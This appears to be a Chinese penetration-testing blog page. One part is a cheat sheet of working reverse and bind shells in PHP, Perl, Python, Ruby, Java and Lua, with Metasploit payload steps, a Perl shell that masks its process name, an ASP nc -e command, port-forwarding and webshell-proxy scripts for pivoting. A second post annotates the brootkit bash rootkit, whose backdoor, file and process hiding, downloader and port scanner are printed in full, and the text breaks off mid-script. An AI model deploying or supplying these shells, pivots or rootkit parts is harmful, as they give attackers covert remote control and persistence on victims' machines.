"aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR". 
"hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT". 
"sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI". 
"kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi". 
"KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl". 
"OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw=="; 
cf('/tmp/.bc',$back_connect); 
$res = execute(which('perl')." /tmp/.bc $yourip $yourport &"); 
?>

访问,成功返回

但需要注意php需未禁用exec函数.另外,Metasploit的payload也提供各种反弹脚本,如

msf > msfpayload php/reverse_php LHOST=x.x.x.x LPORT=2333 R > re.php

生成文件内容像这样

将文件传入shell中,在msf中开一个handler

msf > use multi/handler
msf exploit(handler) > set PAYLOAD php/reverse_php
msf exploit(handler) > set LHOST x.x.x.x
msf exploit(handler) > set LPORT 2333
msf exploit(handler) > exploit

此时访问re.php,即可反弹到本地一个shell

当然,用nc直接监听端口也是可以的

其他可以考虑使用msf编码变形等,github也有这样一个脚本
https://github.com/keshy/cwg_tools/blob/master/php-reverse-shell.php
可供参考

4) JSP

JSP类似,使用msf生成一个反弹shell

msfpayload java/jsp_shell_reverse_tcp LHOST=x.x.x.x R > re.jsp

然后在msf中开一个handler

msf > use exploit/multi/handler
msf exploit(handler) > set PAYLOAD java/jsp_shell_reverse_tcp
msf exploit(handler) > set LHOST 192.168.10.1
msf exploit(handler) > exploit

类似方法即可反弹回shell

5) Python

一个Python反弹shell的代码demo

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("x.x.x.x",2333));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

整洁规范的Python写法应该像是这样,更易懂些:

import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("x.x.x.x",2333))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"]);

其他脚本像这样子

python -c "exec(\"import socket, subprocess;s = socket.socket();s.connect(('x.x.x.x',2333))\nwhile 1:  proc = subprocess.Popen(s.recv(1024), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE);s.send(proc.stdout.read()+proc.stderr.read())\")"

msf的payload给出这样的解法

msfvenom -f raw -p python/meterpreter/reverse_tcp LHOST=x.x.x.x LPORT=2333

生成编码后文件:

import base64; exec(base64.b64decode('aW1wb3J0IHNvY2tldCxzdHJ1Y3QKcz1zb2NrZXQuc29ja2V0KDIsMSkKcy5jb25uZWN0KCgnMC4wLjAuMCcsMjMzMykpCmw9c3RydWN0LnVucGFjaygnPkknLHMucmVjdig0KSlbMF0KZD1zLnJlY3YoNDA5NikKd2hpbGUgbGVuKGQpIT1sOgoJZCs9cy5yZWN2KDQwOTYpCmV4ZWMoZCx7J3MnOnN9KQo='))

Base64解码后:

import socket,struct
s=socket.socket(2,1)
s.connect(('x.x.x.x',2333))
l=struct.unpack('>I',s.recv(4))[0]
d=s.recv(4096)
while len(d)!=l:
    d+=s.recv(4096)
exec(d,{'s':s})

此处补充上phith0n同学的正向连接bind_shell

关于交互式正向连接shell,几点需要注意的地方

1.不管在linux还是windows下,想要做到交互式,只能开启一个shell.不能够每次接收到命令就再开启一个shell进程,然后执行.

2.windows下cmd.exe /K参数是保持cmd不结束,/c参数是执行完后就结束,注意区别.

最终Win版本:

from socket import *
import subprocess
import os, threading

def send(talk, proc):
        import time
        while True:
                msg = proc.stdout.readline()
                talk.send(msg)

if __name__ == "__main__":
        server=socket(AF_INET,SOCK_STREAM)
        server.bind(('0.0.0.0',23333))
        server.listen(5)
        print 'waiting for connect'
        talk, addr = server.accept()
        print 'connect from',addr
        proc = subprocess.Popen('cmd.exe /K', stdin=subprocess.PIPE, 
                stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True)
        t = threading.Thread(target = send, args = (talk, proc))
        t.setDaemon(True)
        t.start()
        while True:
                cmd=talk.recv(1024)
                proc.stdin.write(cmd)
                proc.stdin.flush()
        server.close()

Linux版本:

from socket import *
import subprocess
import os, threading, sys, time

if __name__ == "__main__":
    server=socket(AF_INET,SOCK_STREAM)
    server.bind(('0.0.0.0',11))
    server.listen(5)
    print 'waiting for connect'
    talk, addr = server.accept()
    print 'connect from',addr
    proc = subprocess.Popen(["/bin/sh","-i"],stdin=talk,stdout=talk, stderr=talk, shell=True)

执行后主动连接即可

6) Perl

首先给一个原理类似的脚本

perl -e 'use Socket;$i="x.x.x,x";$p=2333;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

然后是一个不依赖调用/bin/bash的方法

perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"x.x.x.x:4444");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

一个完整的反弹pl脚本

#!/usr/bin/perl -w
# perl-reverse-shell - A Reverse Shell implementation in PERL
use strict;
use Socket;
use FileHandle;
use POSIX;
my $VERSION = "1.0";
# Where to send the reverse shell.  Change these.
my $ip = 'x.x.x.x';
my $port = 2333;

# Options
my $daemon = 1;
my $auth   = 0; # 0 means authentication is disabled and any 
        # source IP can access the reverse shell
my $authorised_client_pattern = qr(^127\.0\.0\.1$);

# Declarations
my $global_page = "";
my $fake_process_name = "/usr/sbin/apache";

# Change the process name to be less conspicious
$0 = "[httpd]";

# Authenticate based on source IP address if required
if (defined($ENV{'REMOTE_ADDR'})) {
    cgiprint("Browser IP address appears to be: $ENV{'REMOTE_ADDR'}");

    if ($auth) {
        unless ($ENV{'REMOTE_ADDR'} =~ $authorised_client_pattern) {
            cgiprint("ERROR: Your client isn't authorised to view this page");
            cgiexit();
        }
    }
} elsif ($auth) {
    cgiprint("ERROR: Authentication is enabled, but I couldn't determine your IP address.  Denying access");
    cgiexit(0);
}

# Background and dissociate from parent process if required
if ($daemon) {
    my $pid = fork();
    if ($pid) {
        cgiexit(0); # parent exits
    }

    setsid();
    chdir('/');
    umask(0);
}

# Make TCP connection for reverse shell
socket(SOCK, PF_INET, SOCK_STREAM, getprotobyname('tcp'));
if (connect(SOCK, sockaddr_in($port,inet_aton($ip)))) {
    cgiprint("Sent reverse shell to $ip:$port");
    cgiprintpage();
} else {
    cgiprint("Couldn't open reverse shell to $ip:$port: $!");
    cgiexit();    
}

# Redirect STDIN, STDOUT and STDERR to the TCP connection
open(STDIN, ">&SOCK");
open(STDOUT,">&SOCK");
open(STDERR,">&SOCK");
$ENV{'HISTFILE'} = '/dev/null';
system("w;uname -a;id;pwd");
exec({"/bin/sh"} ($fake_process_name, "-i"));

# Wrapper around print
sub cgiprint {
    my $line = shift;
    $line .= "<p>\n";
    $global_page .= $line;
}

# Wrapper around exit
sub cgiexit {
    cgiprintpage();
    exit 0; # 0 to ensure we don't give a 500 response.
}

# Form HTTP response using all the messages gathered by cgiprint so far
sub cgiprintpage {
    print "Content-Length: " . length($global_page) . "\r
Connection: close\r
Content-Type: text\/html\r\n\r\n" . $global_page;
}

ASP环境下调用perlscript执行方式

<%@Language=PerlScript%>
#表明ASP脚本使用语言为Perlscript
<%
system("c://Recycler//cmd.exe /c c://Recycler//nc.exe -e cmd.exe -v x.x.x.x 443");
#用system函数执行命令的方式
#exec("c://Recycler//cmd.exe /c c://Recycler//nc.exe -e cmd.exe -v x.x.x.x 443");
#用exec函数执行命令的方式
%>
7) Ruby

惯例,首先一个调用/bin/sh的

ruby -rsocket -e'f=TCPSocket.open("x.x.x.x",2333).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

一个不依赖于/bin/sh的反弹shell:

ruby -rsocket -e 'exit if fork;c=TCPSocket.new("x.x.x.x","2333");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

Windows环境使用

ruby -rsocket -e 'c=TCPSocket.new("x.x.x.x","4444");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

此外MSF中也有相应模块可以调用,就不多提

8) Java

给出一个调用/bin/bash的脚本

r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/x.x.x.x/2333;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()

MSF中也有相应模块可以调用

9) Lua
lua -e "require('socket');require('os');t=socket.tcp();t:connect('x.x.x.x','2333');os.execute('/bin/sh -i <&3 >&3 2>&3');"

类似不做解释

0x02 端口转发

上面总结反弹shell的各种已知主流或非主流方式,下面扯一下端口转发.
已知的大众方式如:

  • lcx老牌工具
  • htran/fport/fpipe等
  • antifw修改3389端口为80
  • reduh提供了借助http/https隧道连接3389的另一种方式
  • tunna给出了比reduh更稳定快速的解决方法

在Linux环境下,则可考虑借助脚本实现,如Perl/Python等.
知道创宇Knownsec曾给出一个rtcp.py脚本做转发之用,不过测试发现只支持单点连接,推荐使用此脚本,支持多client同时连接

#!/usr/bin/env python
# -*- coding: utf-8 -*-

import sys
import socket
import threading
import logging
import optparse


class PipeThread(threading.Thread):

    def __init__(self, source_fd, target_fd):
        super(PipeThread, self).__init__()
        self.logger = logging.getLogger('PipeThread')
        self.source_fd = source_fd
        self.target_fd = target_fd
        self.source_addr = self.source_fd.getpeername()
        self.target_addr = self.target_fd.getpeername()

    def run(self):
        while True:
            try:
                data = self.source_fd.recv(4096)
                if len(data) > 0:
                    self.logger.debug('read  %04i from %s:%d', len(data),
                                      self.source_addr[0], self.source_addr[1])
                    sent = self.target_fd.send(data)
                    self.logger.debug('write %04i to   %s:%d', sent,
                                      self.target_addr[0], self.target_addr[1])
                else:
                    break
            except socket.error:
                break
        self.logger.debug('connection %s:%d is closed.', self.source_addr[0],
                          self.source_addr[1])
        self.logger.debug('connection %s:%d is closed.', self.target_addr[0],
                          self.target_addr[1])
        self.source_fd.close()
        self.target_fd.close()


class Forwarder(object):

    def __init__(self, ip, port, remoteip, remoteport, backlog=5):
        self.remoteip = remoteip
        self.remoteport = remoteport
        self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        self.sock.bind((ip, port))
        self.sock.listen(backlog)

    def run(self):
        while True:
            client_fd, client_addr = self.sock.accept()
            target_fd = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            target_fd.connect((self.remoteip, self.remoteport))

            threads = [
                PipeThread(client_fd, target_fd),
                PipeThread(target_fd, client_fd)
            ]

            for t in threads:
                t.setDaemon(True)
                t.start()

    def __del__(self):
        self.sock.close()


if __name__ == '__main__':
    parser = optparse.OptionParser()

    parser.add_option(
        '-l', '--local-ip', dest='local_ip',
        help='Local IP address to bind to')
    parser.add_option(
        '-p', '--local-port',
        type='int', dest='local_port',
        help='Local port to bind to')
    parser.add_option(
        '-r', '--remote-ip', dest='remote_ip',
        help='Local IP address to bind to')
    parser.add_option(
        '-P', '--remote-port',
        type='int', dest='remote_port',
        help='Remote port to bind to')
    parser.add_option(
        '-v', '--verbose',
        action='store_true', dest='verbose',
        help='verbose')
    opts, args = parser.parse_args()

    if len(sys.argv) == 1 or len(args) > 0:
        parser.print_help()
        exit()

    if not (opts.local_ip and opts.local_port and opts.remote_ip and opts.remote_port):
        parser.print_help()
        exit()

    if opts.verbose:
        log_level = logging.DEBUG
    else:
        log_level = logging.CRITICAL

    logging.basicConfig(level=log_level, format='%(name)-11s: %(message)s')
    forwarder = Forwarder(opts.local_ip, opts.local_port, opts.remote_ip, opts.remote_port)

    try:
        forwarder.run()
    except KeyboardInterrupt:
        print 'quit'
        exit()

使用方式如

python xxx.py -l 0.0.0.0 -p 3389 -r x.x.x.x -P 443

至于Perl脚本,网络中也有相关资料,大家可自行修改使用.

0x03 开放代理

如果对目标服务器已获得较高权限,可添加vpn或socks代理,ringzero@557.im写的
一个可用socks.py脚本可以更易的完成socks代理添加
使用方式如:

nohup python s5.py 1080 &

只有Webshell的情况下,又需要对内网某web服务进行访问测试,但没有充足的精力手工借助webshell进行请求,需要将这一过程自动化,xsjswt给出这样一种思路.

将如下脚本以shell权限丢至服务器

<?php
if(!isset($_GET['url'])){
  exit(0);
}
$ch = curl_init();
$url=$_GET['url'];
if(strstr($url,'?')){
  $url.='&';
}
else{
  $url.='?';
}
unset($_GET['url']);
foreach($_GET as $Key=>$Val){
  if(get_magic_quotes_gpc()){
    $Val=stripslashes($Val);
  }
  $url=$url.'&'.$Key.'='.urlencode($Val);
}
$cookie='';
foreach($_COOKIE as $Key=>$Val){
  if(get_magic_quotes_gpc()){
    $Val=stripslashes($Val);
  }
  $cookie=$cookie.$Key.'='.urlencode($Val).'; ';
}
if($_SERVER['REQUEST_METHOD']=="POST"){
  curl_setopt($ch, CURLOPT_POST, 1);
  $post_data='';
  foreach($_POST as $Key=>$Val){
    if(get_magic_quotes_gpc()){
      $Val=stripslashes($Val);
    }
    $post_data=$post_data.'&'.$Key.'='.urlencode($Val);
  }
  curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
}
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_USERAGENT, $_SERVER['HTTP_USER_AGENT']);
curl_setopt($ch, CURLOPT_COOKIE, $cookie);
curl_setopt($ch, CURLOPT_HEADER, TRUE);
curl_setopt($ch, CURLOPT_NOBODY, FALSE);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE);
if(isset($_SERVER['HTTP_REFERER'])){
  curl_setopt($ch, CURLOPT_REFERER, $_SERVER['HTTP_REFERER']);
}
$Response=curl_exec($ch);
if(!$Response){
  curl_close($ch);
  exit(0);
}
$HttpStatus=curl_getinfo($ch,CURLINFO_HTTP_CODE);
$Header=substr($Response,0,curl_getinfo($ch, CURLINFO_HEADER_SIZE));
$Body=substr($Response,curl_getinfo($ch, CURLINFO_HEADER_SIZE));
$Headers=split("\r\n",$Header);
foreach($Headers as $ThusHead){
  if($ThusHead == 'Transfer-Encoding: chunked' || strstr($ThusHead,'Content-Length')!==false){
     continue;
  }
  header($ThusHead,FALSE);
}
echo $Body;
curl_close($ch);
?>

另搭建一nginx服务器,添加如下配置

server {
    listen          监听端口;
    location ~ () {
            proxy_pass              http://shell-ip/文件存放目录/proxy.php?url=http://$host/$request_uri;
            proxy_set_header        Host    "访问webshell所用域名";
    }
}

重新加载nginx配置,本地浏览器http代理设置为nginx服务器ip及监听端口,即可实现初步的代理请求.

0x04 小结

仅总结常见手法/工具/脚本并加以测试,如各位实战中有奇葩的环境/更有趣的思路/手法,望不吝赐教.

0x05 参考资料

[1] http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet

[2] http://www.leavesongs.com/PYTHON/python-shell-backdoor.html

[3] http://www.waitalone.cn/linux-shell-rebound-under-way.html

[4] http://tool.p1ng.pw/getshell.html

[5] 互联网其他相关资料

brootkit: 一个shell脚本写的后门

发布时间:June 7, 2015 // 分类:运维工作,工作日志,linux,代码学习,转帖文章 // 1 Comment

今晚在吃饭呢, XX给我发来一条消息, 让我看看brootkit, 看看这个东西的兼容性怎样. 然后我把每个文件观察了一下, 发现它最核心的功能就是一个反弹shell, 利用了bash的可以创建tcp连接的特性. 其它的脚本除了brootkit.sh之外, 基本就是为了更加适合小白去使用而写的, 不过brootkit.sh的主要功能就是根据rootkit的配置文件隐藏这一整套的脚本和配置文件. 兼容性不怎样, 因为很可能没有bash这个程序.

打开连接看了一下描述, 是这样的, 它是一个bash脚本写的rootkit工具.

它可以做这些事情

more hidable ability against admintrator or hids.
su passwd thief.
hide file and directorys.
hide process.
hide network connections.
connect backdoor.
muilt thread port scanner.
http download.
好吧, 先checkout出来

MacOS:tmp cc$ svn co https://github.com/cloudsec/brootkit
A    brootkit/branches
A    brootkit/trunk
A    brootkit/trunk/.bdrc
A    brootkit/trunk/README
A    brootkit/trunk/README.md
A    brootkit/trunk/bashbd.sh
A    brootkit/trunk/br.conf
A    brootkit/trunk/br_config.sh
A    brootkit/trunk/brdaemon.sh
A    brootkit/trunk/brget.sh
A    brootkit/trunk/brootkit.sh
A    brootkit/trunk/brscan.sh
A    brootkit/trunk/install.sh
A    brootkit/trunk/uninstall.sh
Checked out revision 35.
MacOS:tmp cc$

可以看到, 有一个配置文件, 还有8个sh脚本, 根据README的描述, 应该是bash脚本

一个个脚本来看, 首先看bashbd.sh, 我给加上注释了

#!/bin/bash

BR_ROOTKIT_PATH="/usr/include/..."

. $BR_ROOTKIT_PATH/br_config.sh

function br_connect_backdoor()
{
    local target_ip=$br_remote_host
    local target_port=$br_remote_port
    local sleep_time=$br_sleep_time

    while [ 1 ]
    do  
        MAX_ROW_NUM=`stty size|cut -d " " -f 1`
        MAX_COL_NUM=`stty size|cut -d " " -f 2`
        {
        PS1='[\A j\j \u@\h:t\l \w]\$';export PS1
        exec 9<> /dev/tcp/$target_ip/$target_port # 这一步需要bash支持, 就是把9号文件描述符打开并重定向到某个ip的某个端口.
        [ $? -ne 0 ] && exit 0 || exec 0<&9;exec 1>&9 2>&1 # 检查文件描述符是否打开成功, 如果失败则退出, 否则把当前shell的标准输入和标准输出以及出错重定向到文件描述符
        if type python >/dev/null;then # 如果有python则用python去调用bash获取反弹shell
            export MAX_ROW_NUM MAX_COL_NUM
            python -c 'import pty; pty.spawn("/bin/bash")'
        else
            /bin/bash --rcfile $BR_ROOTKIT_PATH/.bdrc --noprofile -i # 如果没有python就执行bash, 其实这里是执行任意shell都可以的
        fi
        }&
        wait

        sleep $((RANDOM%sleep_time+sleep_time))
    done
}

br_load_config $BR_ROOTKIT_PATH/br.conf
br_connect_backdoor

从man手册可以知道那个rcfile选项的意思是这样的

--rcfile file
Execute commands from file instead of the standard personal initialization file ~/.bashrc if the shell is interactive (see INVOCATION below).

而那个.bdrc文件只是打印一个欢迎字符串而已

#!/bin/bash

echo -e "\033[31m\t\t\t\twelcome to brootkit\033[0m\033[32m"

br.conf里面定义了一些需要隐藏的文件和进程, 还有反弹shell的目标ip和端口

#brootkit config file.
#
HIDE_PORT       8080,8899
HIDE_FILE       br.conf,bashbd.sh,brootkit,.bdrc,brdaemon
HIDE_PROC       bashbd,brootkit,pty.spawn,brdaemon
REMOTE_HOST     localhost
REMOTE_PORT     8080
SLEEP_TIME      60

看一下br_config.sh, 它定义了3个函数, 以及许多数组变量, 用来载入和显示配置文件的参数的

#!/bin/bash

declare -a br_hide_port
declare -a br_hide_file
declare -a br_hide_proc
declare -a br_remote_host
declare -a br_remote_port
declare br_sleep_time

function br_load_config()
{
        local arg1 arg2 line

        while read line
        do
                [ "${line:0:1}" == "#" -a -z "$line" ] && continue

                arg1=`echo $line | cut -d " " -f 1`
                arg2=`echo $line | cut -d " " -f 2`

                case $arg1 in
                        "HIDE_PORT")
                                br_hide_port=$arg2;;
                        "HIDE_FILE")
                                br_hide_file=$arg2;;
                        "HIDE_PROC")
                                br_hide_proc=$arg2;;
                        "REMOTE_HOST")
                                br_remote_host=$arg2;;
                        "REMOTE_PORT")
                                br_remote_port=$arg2;;
                        "SLEEP_TIME")
                                br_sleep_time=$arg2;;
                esac
        done < $1
}

function display_array()
{
    declare -a arg_tmp=$1
    local arg old_ifs

    old_ifs=$IFS; IFS=","
    for arg in ${arg_tmp[@]}
    do
        echo $arg
    done
    IFS=$old_ifs
}

function br_display_config()
{
        echo -e "HIDE_PORT:"
    display_array $br_hide_port
        echo -e "HIDE_FILE:"
    display_array $br_hide_file
        echo -e "HIDE_PROC:"
    display_array $br_hide_proc
        echo -e "REMOTE_HOST:"
    display_array $br_remote_host
        echo -e "REMOTE_PORT:"
    display_array $br_remote_port
        echo -e "SLEEP_TIME:"
    echo $br_sleep_time
}

根据man手册, declare -a的意思是声明一个数组

An array is created automatically if any variable is assigned to using
the syntax name[subscript]=value. The subscript is treated as an
arithmetic expression that must evaluate to a number greater than or
equal to zero. To explicitly declare an array, use declare -a name
(see SHELL BUILTIN COMMANDS below). declare -a name[subscript] is also
accepted; the subscript is ignored. Attributes may be specified for an
array variable using the declare and readonly builtins. Each attribute
applies to all members of an array.

这是brget.sh的内容, 用bash些的一个发送get请求的脚本, 用到了bash的特性, 就是发起tcp连接并且打开文件描述符连接到这个tcp连接

#!/bin/bash

declare remote_host
declare remote_port
declare remote_file
declare remote_file_len

function sock_read()
{
    local line tmp

    read -u 9 -t 5 line
    if ! echo $line|grep -e "200 OK" >/dev/null; then
        echo $line
        rm -f $remote_file
        socket_close
        exit
    else
        echo "response 200 ok."
    fi

    while read -u 9 -t 5 line
    do
        if [ ${#line} -eq 1 ]; then
            break
        fi

        tmp=`echo $line|cut -d " " -f 1`
        if [ "$tmp" == "Content-Length:" ]; then
            remote_file_len=`echo $line|cut -d " " -f 2`
        fi
    done

    echo "length: $remote_file_len"
    while read -u 9 -t 5 line
    do
        echo -e "$line" >>$remote_file
    done
}

function sock_write()
{
    local buf

    buf="GET /$3 http/1.0\r\nHost: $1:$2\r\n"
    echo -e $buf >&9
    [ $? -eq 0 ] && echo "send http request ok." || echo "send http request failed."
}

function socket_create()
{
    exec 9<> /dev/tcp/$1/$2
    [ $? -eq 0 ] && echo "connect to $1:$2 ok." || echo "connect to $1:$2 failed."
}

function socket_close()
{
    exec >&9-
    [ $? -ne 0 ] && echo "close socket failed."
}

function parse_url()
{
    local url=$1

    url=${url#http://}
    remote_file=${url#*/}
    remote_host=`echo $url | awk -F '/' '{print $1}'`
    remote_port=`echo $remote_host | awk -F ':' '{print $2}'`
    remote_host=`echo $remote_host | awk -F ':' '{print $1}'`

    [ "$remote_port" == "" ] && remote_port=80
}

function file_init()
{
    [ -f $remote_file ] && rm -f $remote_file || touch $remote_file
}

function display_start()
{
    local tmp

    tmp=`date +'%F %T'` 
    tmp="--$tmp-- $1"
    echo -e $tmp
}

function display_finsh()
{
    local tmp

    tmp=`date +'%F %T'` 
    tmp="\n--$tmp-- - $remote_file saved $remote_file_len"
    echo -e "$tmp"
}

function wget_usage()
{
    echo -e "$0 <url>\n"
    echo "exp:"
    echo "$0 http://www.baidu.com/index.html"
    echo "$0 http://www.baidu.com:80/index.html"
}

function main()
{
    if [ $# -eq 0 ]; then
        wget_usage $1
        exit
    fi

    parse_url $@

    file_init
    display_start $1
    socket_create $remote_host $remote_port
    sock_write $remote_host $remote_port $remote_file
    sock_read
    display_finsh
    socket_close
}

main $@

用起来就像这样

MacOS:trunk cc$ bash brget.sh http://g.cn
--2015-01-20 22:33:20-- http://g.cn
connect to g.cn:80 ok.
send http request ok.
HTTP/1.0 400 Bad Request
MacOS:trunk cc$

brscan.sh, 看名字就知道了, 是一个端口扫描的东西, 看代码, 也用到了bash的发起tcp连接的特性

#!/bin/bash

declare br_remote_host="localhost"
declare -a br_ports
declare -a br_open_ports
declare br_port_num=0
declare br_curr_port_num=0
declare br_open_port_num=0
declare br_thread_num=0
declare br_timeout=2
declare br_logfile="brscan.log"
declare total_run_time
declare max_row_num

declare -a playx=('/' '|' '\\' '-')
declare playx_len=4

declare max_col_num=64
declare base_row=0
declare base_col=1
declare cur_col=2
declare total_port=10
declare cur_port=0

function br_run_play()
{
        local i x y tmp_col

        tmp_col=$((br_curr_port_num * max_col_num / br_port_num))

        i=$((max_row_num+1))
        [ $br_thread_num -gt $i ] && x=$i || x=$((br_thread_num+4))

        for ((i = 1; i < $tmp_col; i++))
        do
                y=$((base_col+i))
                [ $y -gt $max_col_num ] && break
                echo -ne "\033[${x};${y}H>\033[?25l"
        done
}

function br_play_init()
{
        local x y i

        i=$((max_row_num+1))
        [ $br_thread_num -gt $i ] && x=$i || x=$((br_thread_num+4))

        echo -ne "\033[${x};${base_col}H\033[33m[\033[0m"

        y=$((max_col_num+1))
        echo -ne "\033[${x};${y}H\033[33m]\033[0m"
}

function compute_run_time()
{
        local day hour min rtime

        day=$(($1/3600/24))
        hour=$(($1/3600))
        min=$(($1/60))

        if [ $min -eq 0 ]; then
                sec=$(($1%60))
        total_run_time="$sec s"
        else
                if [ $hour -eq 0 ]; then
                        sec=$(($1%60))
                        total_run_time="$min m $sec s"
                else
                        if [ $day -eq 0 ]; then
                                tmp=$(($1%3600))
                                min=$(($tmp/60))
                                sec=$(($tmp%60))
                                total_run_time="$hour h $min m $sec s"
                        else
                                # 86400 = 3600 * 24
                                tmp=$(($1%86400))
                                hour=$(($tmp/3600))
                                tmp1=$(($tmp%3600))
                                min=$(($tmp1/60))
                                sec=$(($tmp1%60))
                                total_run_time="$day d $hour h $min m $sec s"
                        fi


                fi
        fi
}

function get_run_time()
{
        local run_count local_hz run_time
    local start_time curr_time

    if [ -d "/proc/$1" ]; then
            run_count=`cat /proc/$1/stat | cut -d " " -f 22`
    else
        return 0
    fi

        local_hz=`getconf CLK_TCK`
        start_time=$(($run_count/$local_hz))

        curr_time=`cat /proc/uptime | cut -d " " -f 1 | cut -d "." -f 1`
        run_time=$((curr_time-start_time))

    return $run_time
}

function br_show_open_ports()
{
    local x y i

    get_run_time $$
    run_time=$?

    compute_run_time $run_time

    i=$((max_row_num+1))
    [ $br_thread_num -gt $i ] && x=$i || x=$((br_thread_num+4))

    y=$((max_col_num+3))
    printf "\033[${x};${y}H\033[32;1m %5d/%-5d\t$total_run_time\033[0m" \
        $br_curr_port_num $br_port_num

    x=$((x+2)); y=1
    printf "\033[${x};${y}H\033[32;1m%s: ${br_open_ports[*]}\033[0m" \
        $br_remote_host 
}

# $1 => remote host
# $2 => remote port
# $3 => thread_num
function thread_scan()
{
    local tport pid pidfile sock_fd
    local i j k m=0 run_time x

    mkdir -p .scan

    for ((i = 0; i < $3; i++))
    do
        {
        let "sock_fd=$2+$i"
        let "j=$2+$i+3"
        /bin/bash -c "exec $j<> /dev/tcp/$1/${br_ports[$sock_fd]}" 2>${br_ports[$sock_fd]}
        }&
        let "k=$2+$i"
        x=$((m+3))
        if [ $x -ge $max_row_num ]; then
             m=0;x=3
        else
            ((m++))
        fi
        printf "\033[${x};1H\033[33mthread<%-5d>\t\t--\t\tpid <%-5d>\t-->\t%-5d\033[?25l" \
            $i $! ${br_ports[$k]}
        echo ${br_ports[$k]} > ".scan/$!"
        [ $br_curr_port_num -ge $br_port_num ] && break || ((br_curr_port_num++))
    done

    sleep $br_timeout

    exec 2>&-
        for pid in `jobs -p`
        do
        get_run_time $pid
        run_time=$?
        [ $run_time -eq 0 ] && continue

                if [ $run_time -ge $br_timeout ]; then
                        kill -9 $pid >/dev/null 2>&1
            rm -f ".scan/$pid"
                fi
        done

    for ((i = 0; i < $3; i++))
    do
        let "sock_fd=$2+$i"
                if [ ! -s ${br_ports[$sock_fd]} ]; then
            for pid_file in `ls .scan`
            do
                tport=`cat ".scan/$pid_file"`
                if [ $tport -eq ${br_ports[$sock_fd]} ]; then
                    br_open_ports[$br_open_port_num]=${br_ports[$sock_fd]}
                    ((br_open_port_num++))
                fi
            done
                fi

        rm -f ${br_ports[$sock_fd]}
    done

    br_run_play
    br_show_open_ports
    rm -fr .scan
}

# $1 => remote host
# $2 => thread_num
function br_scan_port()
{
    local i

    for ((i = 0; i < $br_port_num; i+=$br_thread_num))
    do
        thread_scan $br_remote_host $i $br_thread_num
    done
}

function br_show_ports()
{
    local i

    for ((i = 0; i < $br_port_num; i++))
    do
        echo ${br_ports[$i]}
    done
}

function parse_port()
{
    local start_port end_port port

    start_port=`echo $1 | cut -d "-" -f 1`
    end_port=`echo $1 | cut -d "-" -f 2`

    for ((port=$start_port; port <= $end_port; port++))
    do
        br_ports[$br_port_num]=$port
        ((br_port_num++))
    done
    ((br_port_num--))
}

function br_parse_port()
{
    declare -a ports
    local tmp_ifs port

    tmp_ifs=$IFS; IFS=','; ports=$1

    for port in ${ports[@]}
    do
        if echo $port|grep -e ".*-.*" >/dev/null; then
            parse_port $port
        else
            br_ports[$br_port_num]=$port
            ((br_port_num++))
        fi
    done
    IFS=$tmp_ifs
}

function br_show_arg()
{
    echo -ne "\033[1;1H"
    echo -ne "\033[31;1mhost: $br_remote_host | total ports: $br_port_num | thread num: $br_thread_num "
    echo -e "timeout: $br_timeout | logfile: $br_logfile\n\033[0m"
}

function br_scan_init()
{
    echo -ne "\033[2J"
        MAX_ROW_NUM=`stty size|cut -d " " -f 1`
        MAX_COL_NUM=`stty size|cut -d " " -f 2`
    max_row_num=$((MAX_ROW_NUM-5))
}

function br_scan_exit()
{
    echo -e "\033[?25h"
}

function br_usage()
{
    echo -e "$1 <-p> [-n|-t|-o|-h] <remote_host>\n"
    echo -e "option:"
    echo -e "-p\t\tports, pattern: port1,port2,port3-port7,portn..."
    echo -e "-n\t\tthread num, defalut is 10"
    echo -e "-t\t\ttimeout, default is 30s"
    echo -e "-o\t\tresults write into log file, default is brscan.log"
    echo -e "-h\t\thelp information."
